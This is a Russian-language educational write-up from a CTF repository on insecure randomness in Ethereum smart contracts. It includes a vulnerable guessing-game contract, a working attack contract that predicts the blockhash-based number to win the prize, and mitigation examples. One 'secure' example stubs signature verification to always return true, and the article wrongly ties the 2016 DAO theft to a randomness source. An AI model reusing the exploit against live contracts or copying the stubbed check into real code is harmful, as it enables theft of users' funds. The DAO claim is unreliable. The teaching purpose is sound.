Источник: https://github.com/AnaktaCTF/CTF/blob/main — WEB/Insecure_Randomness_Smart_Contracts.md
Введение
Случайные числа являются ключевым элементом множества децентрализованных приложений (dApps), таких как лотереи, азартные игры, игровые платформы и системы распределения токенов. В традиционных языках программирования, таких как Python или JavaScript, генерация случайных чисел относительно проста благодаря доступу к недетерминированным источникам, например, системному времени или аппаратным шумам. Однако в Ethereum, где EVM обеспечивает детерминированное выполнение смарт-контрактов, создание истинно случайных чисел невозможно без внешних источников.
Детерминизм EVM означает, что для одного и того же входного набора данных смарт-контракт всегда производит одинаковый результат. Это свойство необходимо для согласованности и проверки транзакций узлами сети. Однако оно противоречит природе случайности, которая требует уникальности и непредсказуемости. В результате разработчики часто используют псевдослучайные генераторы чисел (PRNG), основанные на данных блокчейна, таких как:
block.timestamp— временная метка текущего блока.blockhash(uint blockNumber)— хэш указанного блока (доступен для последних 256 блоков).block.difficulty— сложность текущего блока.block.number— номер текущего блока.block.coinbase— адрес майнера, добывшего блок.block.gaslimit— максимальный лимит газа для транзакций в блоке.
Эти свойства кажутся подходящими для создания случайности, но они уязвимы, так как:
- Доступны публично: Любой участник сети может узнать значения этих параметров в момент выполнения транзакции.
- Манипулируемы майнерами: Майнеры могут влиять на
block.timestamp(в пределах нескольких секунд),blockhashили даже отклонять блоки, чтобы получить желаемый результат.
Уязвимость Insecure Randomness возникает, когда смарт-контракт полагается на такие небезопасные источники, что позволяет злоумышленникам предсказывать или манипулировать результатами. Это может привести к несправедливым выигрышам, финансовым потерям и утрате доверия к платформе.
Механизм уязвимости
Почему PRNG в Solidity уязвим?
PRNG генерирует последовательность чисел, которая выглядит случайной, но определяется начальным значением (seed) и внутренним состоянием. В Solidity разработчики часто используют хэш-функцию keccak256 с входными данными, такими как блоковые переменные, для создания псевдослучайных чисел. Например:
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.number)));
Этот подход имеет следующие недостатки:
- Предсказуемость: Злоумышленник может вычислить результат, зная значения
block.timestampиblock.numberв момент выполнения транзакции. - Общедоступность данных: Все блоковые переменные публичны и доступны через блокчейн-эксплореры или напрямую из узлов.
- Манипуляции майнерами: Майнеры могут корректировать
block.timestampили выбирать выгодныеblockhash, особенно если награда за манипуляцию превышает затраты на добычу блока. - Совпадение в рамках одного блока: Если злоумышленный контракт вызывает целевой контракт внутри той же транзакции, оба контракта используют одинаковые блоковые данные, что делает PRNG предсказуемым.
Пример уязвимого смарт-контракта
Рассмотрим смарт-контракт для игры в угадайку, где пользователь должен угадать случайное число, чтобы выиграть 1 ETH:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
// Уязвимый контракт для игры в угадайку
contract BadRandomContract {
// Конструктор позволяет пополнить контракт эфиром
constructor() payable {}
// Функция для генерации псевдослучайного числа
function badRandom() public view returns (uint256) {
// Используем хэш предыдущего блока для генерации числа
uint256 seed = uint256(blockhash(block.number - 1));
// Ограничиваем результат диапазоном от 1 до 10
return (seed % 10) + 1;
}
// Функция для угадывания числа
function guess(uint256 _guess) public {
// Получаем случайное число
uint256 answer = badRandom();
// Проверяем, совпадает ли догадка с ответом
if (_guess == answer) {
// Отправляем 1 ETH угадывающему
(bool sent,) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
Проблемы в коде:
- Функция
badRandomиспользуетblockhash(block.number - 1), который является публичным и известен в момент выполнения транзакции. - Злоумышленник может вычислить результат
badRandomи отправить правильную догадку в той же транзакции. - Если контракт вызывается другим контрактом, оба будут использовать один и тот же
blockhash, что делает результат предсказуемым.
Пример атаки
Злоумышленник может создать атакующий контракт, чтобы эксплуатировать уязвимость:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
// Контракт для атаки на уязвимую игру в угадайку
contract HackGuessingGame {
// Адрес уязвимого контракта
BadRandomContract public target;
// Конструктор принимает адрес уязвимого контракта
constructor(address _target) {
target = BadRandomContract(_target);
}
// Функция для выполнения атаки
function attack() public {
// Вычисляем случайное число, используя ту же логику
uint256 seed = uint256(blockhash(block.number - 1));
uint256 guess = (seed % 10) + 1;
// Вызываем функцию guess с правильным числом
target.guess(guess);
}
// Функция для проверки баланса атакующего контракта
function getBal() public view returns (uint256) {
return address(this).balance;
}
// Функция для получения эфира (для вывода средств)
receive() external payable {}
}
Как работает атака:
- Атакующий контракт вычисляет то же псевдослучайное число, что и уязвимый контракт, используя
blockhash(block.number - 1). - Число передается в функцию
guess, что гарантирует выигрыш. - Поскольку все происходит в одной транзакции, блоковые данные совпадают, и атака успешна.
Доказательство концепции:
- Разверните
BadRandomContractс 1 ETH (например, адрес:0xAc40c9C8dADE7B9CF37aEBb49Ab49485eBD3510d). - Разверните
HackGuessingGame, указав адрес уязвимого контракта. - Вызовите функцию
attack. Баланс атакующего контракта увеличится на 1 ETH.
Этот пример демонстрирует, как легко злоумышленник может предсказать результат PRNG, основанного на блоковых данных.
Последствия уязвимости
Небезопасная генерация случайных чисел может привести к следующим последствиям:
- Несправедливые результаты: В играх или лотереях злоумышленники могут предсказывать выигрышные числа, получая незаслуженные награды.
- Финансовые потери: Контракты, полагающиеся на случайность, могут быть разграблены, что приводит к потере средств пользователей.
- Утрата доверия: Уязвимости подрывают репутацию платформы, отпугивая пользователей и инвесторов.
- Усугубление других уязвимостей: Небезопасная случайность может способствовать атакам повторного входа (reentrancy) или другим эксплойтам.
- Манипуляции токенами: В системах генерации токенов (например, NFT) злоумышленники могут манипулировать распределением, получая редкие активы.
Реальные примеры атак
1. Roast Football Hack (5 декабря 2022)
Обзор: Протокол Roast Football был атакован из-за уязвимости в функции лотереи, использующей небезопасный PRNG. Злоумышленник (адрес: 0x5f7db41e) покупал токены только при высокой вероятности выигрыша, украв 12 BNB за 50 попыток.
- Адрес злоумышленника: 0x5f7db41e
- Транзакции злоумышленника: 0xcc8fdb3
- Код контракта RFB: 0x26f14
- Уязвимая функция: #L417
- Транзакция злоумышленника для покупки лотерейных токенов
Анализ уязвимости смарт-контракта:
Генератор случайных чисел лотереи использовал функцию randMod.
Эта функция принимала в качестве параметров адрес покупателя (buyer) и сумму покупки (buyAmount) и возвращала целочисленный токен, созданный псевдослучайным образом.
Когда пользователи покупали токены RFB, у них был шанс выиграть награду, в десять раз превышающую их ставку, через лотерейную систему.
Логика генерации случайных чисел представлена в следующем коде:
Уязвимый код:
uint randnum = uint(keccak256(abi.encodePacked(block.number, block.timestamp, buyer, _balances[pair])));
Генератор использует в качестве входных данных block.number, block.timestamp, адрес покупателя и баланс пула. Все эти данные могут быть получены злоумышленником при вызове функции. Это позволяет угадывать или перебирать случайные числа, используемые в функции randMod().
Злоумышленник покупал токены RFB только в тех случаях, когда был уверен в высокой вероятности выигрыша.
Если он проигрывал, функция откатывалась, и злоумышленник терял только стоимость газа.
Итог::
- PRNG использовал
block.number,block.timestamp, адрес покупателя и баланс пула — все эти данные были публичными. - Злоумышленник вычислял результат функции
randModи покупал токены только при благоприятных условиях. - Если вероятность выигрыша была низкой, транзакция отклонялась, минимизируя потери (только газ).
2. FFIST Hack (20 июля 2023)
Обзор: Проект $FFIST потерял около 110 000 долларов США из-за уязвимости в функции _airdrop, которая распределяла токены случайным адресам.
- Уязвимый контракт: 0x80121d
- Адрес злоумышленника: 0xcc8617
- Транзакция атаки: 0x199c4b
Анализ уязвимости смарт-контракта:
Функция _airdrop() предназначена для случайного распределения токенов $FFIST по различным адресам.
К сожалению, случайность адресов для раздачи можно предсказать из-за манипулируемых параметров, таких как адрес последней раздачи, номер блока, а также адреса отправителя и получателя.
Кроме того, количество токенов, раздаваемых на один адрес, фиксировано и составляет один токен, что приводит к дисбалансу в пуле и вызывает постоянное установление значения $FFIST равным 1.
Этот дисбаланс позволяет обменивать небольшое количество токенов $FFIST на непропорционально большую сумму в долларах США, что вызывает обеспокоенность по поводу справедливости и стабильности экосистемы.
Уязвимость:
- Функция использовала предсказуемые параметры: адрес последнего airdrop, номер блока, адреса отправителя и получателя.
- Фиксированное количество токенов (1 токен) создавало дисбаланс, позволяя обменивать малое количество
$FFISTна крупные суммы USD.
Последствия:
- Злоумышленник (адрес:
0xcc8617) манипулировал распределением, что привело к финансовым потерям и подрыву доверия к проекту.
3. Etherroll Exploit (2016)
Обзор: Децентрализованная игра в кости Etherroll пострадала из-за уязвимого PRNG. Злоумышленники предсказывали выигрышные числа, что привело к значительным потерям.
Урок: Небезопасные PRNG могут быть легко эксплуатированы даже в простых игровых контрактах.
4. DAO Roulette (2016)
Обзор: Использование внешнего источника случайности в DAO позволило манипулировать результатами, что стало одним из факторов, приведших к краже миллионов долларов в Ether.
Урок: Внешние источники случайности должны быть тщательно проверены на устойчивость к манипуляциям.
Методы устранения уязвимости
Для предотвращения уязвимости Insecure Randomness рекомендуется использовать следующие подходы:
1. Chainlink VRF (Verifiable Random Function)
Chainlink VRF предоставляет проверяемый и безопасный источник случайных чисел, используя децентрализованные оракулы. Он генерирует случайные числа и криптографическое доказательство их корректности, которое публикуется в блокчейне.
Пример безопасного контракта с Chainlink VRF:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
// Импортируем контракт VRFConsumerBase из библиотеки Chainlink
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
// Контракт для безопасной генерации случайных чисел
contract SecureRandomness is VRFConsumerBase {
// Хэш ключа для VRF
bytes32 internal keyHash;
// Комиссия за запрос случайного числа (в токенах LINK)
uint256 internal fee;
// Результат последнего случайного числа
uint256 public randomResult;
// Конструктор инициализирует параметры VRF
constructor(
address _vrfCoordinator, // Адрес координатора VRF
address _linkToken, // Адрес токена LINK
bytes32 _keyHash, // Хэш ключа VRF
uint256 _fee // Комиссия за запрос
) VRFConsumerBase(_vrfCoordinator, _linkToken) {
keyHash = _keyHash;
fee = _fee;
}
// Функция для запроса случайного числа
function requestRandomNumber() public returns (bytes32 requestId) {
// Проверяем, достаточно ли токенов LINK для оплаты
require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK");
// Запрашиваем случайное число у Chainlink VRF
return requestRandomness(keyHash, fee);
}
// Callback-функция, вызываемая оракулом для возврата случайного числа
function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override {
// Сохраняем случайное число
randomResult = randomness;
}
// Функция для угадывания числа
function guess(uint256 _guess) public {
// Проверяем, было ли сгенерировано случайное число
require(randomResult > 0, "Random number not generated yet");
// Если догадка верна, отправляем 1 ETH
if (_guess == randomResult) {
(bool sent,) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
Преимущества:
- Случайные числа генерируются вне блокчейна, что исключает манипуляции майнерами.
- Криптографическое доказательство обеспечивает проверяемость результата.
- Широко протестировано и используется в реальных проектах.
Ограничения:
- Требуется оплата комиссии в токенах LINK.
- Зависимость от оракулов Chainlink может быть точкой отказа, если сеть скомпрометирована.
2. Схемы коммит-ревеал (Commitment Schemes)
Схемы коммит-ревеал (например, RANDAO) минимизируют риск манипуляций, требуя от участников сначала зафиксировать (commit) свои значения, а затем раскрыть (reveal) их. Это предотвращает изменение данных после фиксации.
Пример реализации:
- Фаза коммита: Пользователь генерирует случайное число, хэширует его и отправляет хэш в контракт.
- Фаза ревеала: В следующем блоке пользователь отправляет исходное число. Контракт проверяет, соответствует ли оно хэшу, и использует его вместе с
blockhashдля генерации случайного числа.
Пример кода:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
// Контракт с использованием схемы коммит-ревеал
contract CommitRevealRandom {
// Структура для хранения коммитов
struct Commit {
bytes32 hash;
uint256 blockNumber;
bool revealed;
uint256 number;
}
// Маппинг для хранения коммитов пользователей
mapping(address => Commit) public commits;
// Функция для фиксации хэша случайного числа
function commit(bytes32 _hash) public {
commits[msg.sender] = Commit(_hash, block.number, false, 0);
}
// Функция для раскрытия числа
function reveal(uint256 _number) public {
Commit storage commit = commits[msg.sender];
// Проверяем, что коммит существует и не был раскрыт
require(commit.hash != 0, "No commit found");
require(!commit.revealed, "Already revealed");
// Проверяем, что хэш соответствует числу
require(keccak256(abi.encodePacked(_number)) == commit.hash, "Invalid number");
// Сохраняем число и помечаем как раскрытое
commit.number = _number;
commit.revealed = true;
}
// Функция для генерации случайного числа
function getRandomNumber() public view returns (uint256) {
Commit storage commit = commits[msg.sender];
// Проверяем, что число раскрыто
require(commit.revealed, "Number not revealed");
// Комбинируем число пользователя с хэшем блока
return uint256(keccak256(abi.encodePacked(commit.number, blockhash(commit.blockNumber))));
}
}
Преимущества:
- Устойчивость к манипуляциям, если участники не сговариваются.
- Не требует внешних оракулов.
Ограничения:
- Требует двух транзакций (commit и reveal), что увеличивает затраты на газ.
- Пользователи могут не раскрывать свои числа, блокируя процесс.
3. Signidice
Signidice — это алгоритм, использующий криптографические подписи для генерации случайных чисел между двумя сторонами (пользователем и протоколом). Процесс:
- Пользователь делает ставку, выбирая число (
BN) и случайное число (RN). - Контракт проверяет формат
RNи его уникальность. - Контракт комбинирует
RNс адресом пользователя, создавая значениеV. - Протокол подписывает
Vсвоим приватным ключом, создавая подписьS. - Контракт проверяет подпись и использует
Sкак seed для PRNG.
Пример кода:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
// Контракт с использованием Signidice
contract Signidice {
// Публичный ключ протокола
address public protocolAddress;
// Использованные случайные числа
mapping(bytes32 => bool) public usedRandomNumbers;
// Конструктор устанавливает адрес протокола
constructor(address _protocolAddress) {
protocolAddress = _protocolAddress;
}
// Функция для ставки
function bet(uint256 _betNumber, bytes32 _randomNumber, bytes memory _signature) public {
// Проверяем, что случайное число не использовалось
require(!usedRandomNumbers[_randomNumber], "Random number already used");
// Формируем значение V
bytes32 V = keccak256(abi.encodePacked(_randomNumber, msg.sender));
// Проверяем подпись протокола
require(verifySignature(V, _signature), "Invalid signature");
// Отмечаем случайное число как использованное
usedRandomNumbers[_randomNumber] = true;
// Генерируем выигрышное число
uint256 winningNumber = uint256(keccak256(abi.encodePacked(_signature))) % 10 + 1;
// Проверяем ставку
if (_betNumber == winningNumber) {
(bool sent,) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
// Функция для проверки подписи
function verifySignature(bytes32 _V, bytes memory _signature) internal view returns (bool) {
// Проверяем, соответствует ли подпись публичному ключу протокола
// (Реализация зависит от используемой библиотеки)
return true; // Заглушка для примера
}
receive() external payable {}
}
Преимущества:
- Криптографическая безопасность.
- Подходит для двухсторонних игр.
Ограничения:
- Ограниченная применимость для многопользовательских систем.
- Требует надежной проверки подписей.
4. Использование хэшей блоков Bitcoin (BTCRelay)
Оракулы, такие как BTCRelay, позволяют использовать хэши блоков Bitcoin как источник энтропии. Это усложняет манипуляции, так как Bitcoin имеет более высокую вычислительную мощность.
Ограничения:
- Зависимость от оракула.
- Майнеры Bitcoin могут влиять на хэши, хотя это сложнее.
5. Встроенные VRF (например, Harmony)
Некоторые блокчейны, такие как Harmony, интегрируют VRF непосредственно в протокол, предоставляя истинную случайность без посредников. Это позволяет контрактам получать безопасные случайные числа без дополнительных затрат.
Преимущества:
- Отсутствие комиссии за оракулы.
- Простота интеграции.
Ограничения:
- Доступно только на определенных блокчейнах.
Простые меры защиты
1. Проверка msg.sender == tx.origin
Для защиты от атак со стороны других контрактов можно добавить проверку, что вызывающий является внешним аккаунтом (EoA), а не контрактом:
require(msg.sender == tx.origin, "Contracts not allowed");
Ограничения:
- Не защищает от атак майнеров.
- Может стать неэффективным с введением абстракции аккаунтов (EIP-86).
2. Использование нескольких источников энтропии
Комбинирование нескольких источников (например, block.timestamp, msg.sender, и пользовательского ввода) усложняет предсказание, но не устраняет уязвимость полностью.
Лучшие практики
- Избегайте блоковых переменных: Не используйте
block.timestamp,blockhash,block.difficulty,block.number,block.coinbaseилиblock.gaslimitдля генерации случайных чисел. - Используйте проверенные решения: Применяйте Chainlink VRF, RANDAO или встроенные VRF (например, Harmony).
- Проводите аудиты: Используйте инструменты, такие как SolidityScan (поддерживает 130+ шаблонов уязвимостей), Mythril или Slither, и привлекайте профессиональных аудиторов (например, CredShields).
- Тестируйте бизнес-логику: Пишите тесты, покрывающие все сценарии использования случайных чисел.
- Мониторинг транзакций: Отслеживайте подозрительные адреса, которые часто выигрывают, и исключайте их.
- Обновляйте алгоритмы: Следите за новыми уязвимостями и обновляйте методы генерации случайности.
- Ограничивайте стимулы для майнеров: Убедитесь, что награда за манипуляцию меньше, чем стоимость добычи блока.
Заключение
Уязвимость SC09:2025 Insecure Randomness представляет серьезную угрозу для смарт-контрактов, использующих псевдослучайные числа. Реальные инциденты, такие как атаки на Roast Football, $FFIST, Etherroll и DAO, показывают, что небезопасные PRNG могут привести к значительным финансовым потерям и утрате доверия. Использование современных решений, таких как Chainlink VRF, схемы коммит-ревеал, Signidice или встроенные VRF, позволяет минимизировать риски. Регулярные аудиты, тестирование и мониторинг транзакций также играют ключевую роль в обеспечении безопасности.
Безопасная генерация случайных чисел — это не только техническая задача, но и основа доверия к экосистеме Web3. Разработчики должны тщательно выбирать методы генерации случайности, учитывая цели контракта, стимулы участников и потенциальные угрозы.